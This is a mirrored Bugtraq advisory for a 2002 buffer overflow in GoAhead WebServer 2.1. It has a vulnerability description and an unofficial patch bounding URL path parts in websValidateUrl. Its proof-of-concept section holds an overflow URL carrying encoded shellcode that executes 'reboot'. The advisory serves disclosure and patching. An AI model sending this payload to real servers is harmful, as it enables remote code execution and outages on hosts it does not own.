GoAhead WebServer Remote Arbitrary Command Execution Vulnerability

BID:5464

Info

GoAhead WebServer Remote Arbitrary Command Execution Vulnerability

Bugtraq ID: 5464
Class: Boundary Condition Error
CVE:
Remote: Yes
Local: No
Published: Aug 14 2002 12:00AM
Updated: Aug 14 2002 12:00AM
Credit: Vulnerability discovery credited to an anonymous source.
Vulnerable: GoAhead Software GoAhead WebServer 2.1
- Linux kernel 2.3
- Microsoft Windows 2000 Professional
- Microsoft Windows 95
- Microsoft Windows 98
- Microsoft Windows CE 3.0
- Microsoft Windows CE 2.0
- Microsoft Windows NT 4.0
Not Vulnerable:

Discussion

GoAhead WebServer Remote Arbitrary Command Execution Vulnerability

GoAhead WebServer is an Open Source embedded web server which supports Active Server Pages, embedded javascript, and SSL authentication and encryption. It is available for a variety of platforms including Microsoft Windows and Linux variant operating systems.

It has been discovered that a buffer overflow exists in GoAhead WebServer. This vulnerability could make it possible for a remote user to execute arbitrary code with the privileges of the web server process. This could lead to an attacker gaining remote access to a vulnerable host.

Exploit / POC

GoAhead WebServer Remote Arbitrary Command Execution Vulnerability

Contributed by an anonymous source:

http://www.example.com/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/%eb%1f%5e%89%76%08%31%c0%88%46%07%89%46%0c%b0%0b%89%f3%8d%4e%08%8d%56%0c%cd%80%31%db%89%d8%40%cd%80%e8%dc%ff%ff%ffreboot

Solution / Fix

GoAhead WebServer Remote Arbitrary Command Execution Vulnerability

Solution:
An unofficial source code fix has been provided. SecurityFocus has not tested the provided third-party fix.

diff -u ws212-020612/default.c ws212-020612gby/default.c
--- ws212-020612/default.c Wed Jun 12 19:38:48 2002
+++ ws212-020612gby/default.c Wed Jun 19 16:34:24 2002
@@ -204,9 +204,11 @@
* is bad.
*/

+#define MAXDIRPATH (64)
+
int websValidateUrl(webs_t wp, char_t *path)
{
- char_t *parts[64]; /* Array of ptr's to URL parts */
+ char_t *parts[MAXDIRPATH]; /* Array of ptr's to URL parts */
char_t *token, *dir, *lpath;
int i, len, npart;

@@ -241,7 +243,11 @@
} else if (gstrcmp(token, T(".")) != 0) {
parts[npart] = token;
len += gstrlen(token) + 1;
- npart++;
+ if(++npart >= MAXDIRPATH) {
+ /* Damn script kitties... */
+ bfree(B_L, path);
+ return -1;
+ }
}
token = gstrtok(NULL, T("/"));
}

---
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

GoAhead WebServer Remote Arbitrary Command Execution Vulnerability

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report